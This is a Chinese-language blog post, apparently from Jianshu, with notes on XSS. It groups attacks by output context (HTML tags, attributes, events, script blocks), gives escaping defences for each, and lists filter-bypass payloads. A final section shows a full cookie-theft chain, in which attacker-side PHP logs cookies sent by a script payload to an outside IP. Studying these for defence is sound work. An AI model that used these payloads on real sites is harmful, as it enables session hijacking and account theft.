xss注入防御

#xss

我认为xss漏洞可以根据可控变量的输出的位置不同来进行分类

1.在html标签中输出

1.1在一般标签中输出

在html标签中输出一般需要先闭合"和当前标签或者采用嵌套标签的方式,再构造可以使用Javascript脚本的标签如<img>或者<button>标签或者直接使用<script>标签来构造xss

例:

<?php
  if(isset($_GET["firstname"]) &&isset($_GET["lastname"]))
{  
  $firstname = $_GET["firstname"];
  $lastname = $_GET["lastname"];
  if($firstname == "" or $lastname == "")
  {      
    echo "<font color=\"red\">Please enter both fields...</font>";        
  }  
  else
  {      echo "Welcome " . htmli($firstname) . " " . htmli($lastname);    
   }
}
?>
</div>

这段代码节选自bwapp,可见这段代码的输出在div标签中输出当难度等级为low时htmli函数会直接输出输出内容可以直接构造xss就不再截图了.

在medium中将< >换成了html字符实体

image

但是通过%3c代替<和%3e替换>可以注入,一开始以为是字符编码的原因,后面反复测试发现我的输入不知道为什么都被多进行了一次url解码,查看源码发现确实如此,不明所以的加了一个urldecode()函数然后才输出造成可以使用%3c代替<,在high等级中将< > & " '全部转换成实体字符没有尖括号输入的内容就不可能被浏览器当作脚本来执行所以无法构造出xss

防御方法:只需要转义尖括号和引号就会很难构造出xss

1.2在<script>标签中输出

在script标签中输出的数据会被当作js代码来执行,不经过适当的转义不但内容无法正常输出还有可能造成留下xss隐患,在js脚本执行时html实体也会被当作一般字符来执行,所以简单的将<>转换为html实体是行不通的.
对于js代码中的输出需要使用\uXXXX格式的unioncode实体告诉js这是数据而不是代码从而避免xss(具体需要转义的字符和方法见6)

2.html标签中输出

在标签中输出通过构造javascript事件或者提前终止标签再插入新的标签来构造xss

2.1_在属性位置的输出

例(可控制变量为$inp0t):

 <div id="001" name="$inp0t"></div><p class="$input">

等这些情况下必须闭合标签然后进行xss的构造

代码实例

<div id="qwe" name="<php? echo($_GET["a"]); ?>"></div>

此时需要先逃逸出引号和这个尖括号的控制在div标签内和name属性中是无法构造xss的

输入:1">alert("xss");<"

便可构造出xss

防御方法:

若不逃逸出引号,所有的输出就会被理解为属性内容,便无法构造xss所以需要对所有输出加引号包围同时转义. < > : " ' /为html实体.

2.2_在事件位置的输出.

在这些标签中不一定非要提前结束这个标签来构造xss只要构造事件便可以构造出xss再加上在javascript中html实体是可以发挥和一般字符发挥一样的功能所以相对于别的标签这些标签更加难以防御.

例:

<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
    <title>test</title>
  </head>
  <body>
   <form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="POST">
    <input type="text" name="a"/>
   </form>
   <img src="www.baidu.com/<?php echo($_POST['a']);?>.img">
  </body>
</html>
 写入"onerror=alert("xss");>//
image

防御方法:

对于像例子中在src内的类似在属性中的输出只需要转义< ; : " ' ( ) > & . /为html实体便可以防御虽然在<img>标签的src属性中使用javascript伪协议已经不能达到攻击效果但是用户也不会在正常的输入中用到: 或者;所以还是应该进行转义甚至直接过滤.

而在事件内的输出很容易被当作js代码执行所以这里需要对输入进行另一种转码转换为unicode编码(\uXXXX)形式的编码这种编码html无法正确的解析它但是在js代码内他们会被解析成正确的符号但不会被当成代码执行.

2.3_在<a>或<iframe>标签内输出

在这些标签中的输出更加危险一些,因为javascript:等伪协议在这里会发挥作用

但是防御方法也很简单就是数据输出之前先进行url编码在输出

经过测试发现火狐和chrome浏览器都会将被url编码过后的javascript:伪协议理解为一个相对url

不过为了在所有浏览器下均保证安全可以先在检查是否在前面有加协议名称如http://,https://如果没有可以在后端进行url编码后添加http://以此防止伪协议类xss.

3.在<style>标签和CSS中输出

4.不完全过滤绕过

在实际情况下有很多环境是通过正则简单的过滤关键字的方法来防御xss

4.1_常见正则的绕过

大小写绕过<ScRiPT>

复写尖括号绕过<<script>

使用重音符`(ESC下面的那个)封装JavaScript伪协议绕过'或者"的过滤

<style>标签构造xss(插入远程样式表)

例:

<style>@import'http://xxx.com/xss.css';</style(</style>标签可省略)

<iframe>标签绕过:

例:

<IFRAME SRC="javascript:alert(/xss/);"></IFRAME>​
<IFRAME SRC="" onmouseover="alert(document.cookie)"></IFRAME>​

<link>标签绕过

location='javascript:'绕过(在javascript:后面的内容可以采用url编码后的内容绕过过滤

<img src="<?php echo ($_POST["a"]);?>">

输入

 /" onerror=location='javascript:alert%28%2fxss%2f%29' "
image

5.html和javascript内分别对应的不同编码方式

字符实体可在JavaScript代码中发挥和转义前一样的效果测试:

 <!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"><title>test</title>
  </head>
  <body>
    <form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="POST">
      <input type="text" name="a"/>
    </form>
    <img src="" onerror="<?php echo($_POST["a"]);?>">
  </body>
</html>

输入

 alert("xss")
image

可见html实体字符在javascript脚本中可发挥同转义前一样的功能.

对于javascript中输出的内容需要转换为unicode(\uXXXX)的格式

其中 ' " > < ? / : # & ( ) \ 分别对应

\u0027 \u0022 \u003e \u003c \u003f \u002f \u003a \u0023 \u0026 \u0028 \u0029 \u005c

参考过的案例搜狐视屏储存型xss(看水印应该是从乌云被转载过去的)

参考书籍:<白帽子讲web安全>

PS.不知道简书是如何解析md文档的,复制粘贴上去的文章中的标签被解析成了html的标签文章变得一团乱所以图片和文字是后面再整理的可能会有乱序或者缺失.

6.xss注入及利用

6.1xss&cookie

cookie盗取:很多同学都认为只把cookie弹窗显示出来就是cookie盗取其实并不是
cookie盗取中需要另外用到一台服务器
盗取cookie传输方式有很多,加密或者不加密也可以根据环境自由选择

<?php
  setcookie("MY_COOKIE","Th1s_is_a_test.");
  setcookie("Hello","Th1s_is_a_test_too.");
  echo $_GET['a'];
?>

假设上面这个php部署在有漏洞的服务器上

<?php
    $file = fopen("./xs/xss.txt","a") or die();
    $txt = (string)$_GET["m"];
    if(preg_match("/[^a-zA-Z0-9;\s\._=]/", $txt))
    {
        die();
    }
    $txt = preg_replace("/[\s]/",'',$txt);
    $txt = preg_replace("/[;]/",";",$txt);
    $txt = $txt."\r\n";
    fwrite($file, $txt);
    fclose($file);
?>

上面这个php部署在攻击者的服务器上
接受get参数查看是否合法并写入对应txt文件内
paylaod如下:

<script>a=document.cookie;a="<img src='http://1.1.1.1/x.php?m="%2ba%2b"'>";document.write(a);</script>
image.png

如果将这个链接发送给别人,在点击时也会将cookie发送到你的服务器上.
盗取cookie是手段而不是目的
cookie通常用来登陆网站时做为身份凭证使用,不合理配置cookie和xss的结合就会导致cookie容易被盗取.
#2018.6.1第一次修改:删除和修改了错误的内容,将部分内容重新分类,对代码进行整理方便阅读
#2018.6.5第二次修改:添加xss&cookie笔记

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,036评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,046评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,411评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,622评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,661评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,521评论 1 304
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,288评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,200评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,644评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,837评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,953评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,673评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,281评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,889评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,011评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,119评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,901评论 2 355

推荐阅读更多精彩内容

  • 浅谈XSS—字符编码和浏览器解析原理 XSS简介 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascadin...
    Smi1e_阅读 4,638评论 2 3
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 9,059评论 0 16
  • XSS常见Payload总结 XSS漏洞的存在与发生伴随两个概念: 输入函数和输出函数。XSS攻击Payload...
    BerL1n阅读 2,739评论 0 3
  • (一)XSS跨站脚本攻击 参考:XSS站脚本攻击 (1)XSS简介 XSS攻击全称跨站脚本攻击(Cross Sit...
    肆意咯咯咯阅读 3,548评论 4 3
  • 2017年的最后一天就在匆忙中过去了,难得的晚上的空余时间可以写写东西,写下2017年的遗憾和不足,展望一下201...
    培培猪阅读 271评论 0 0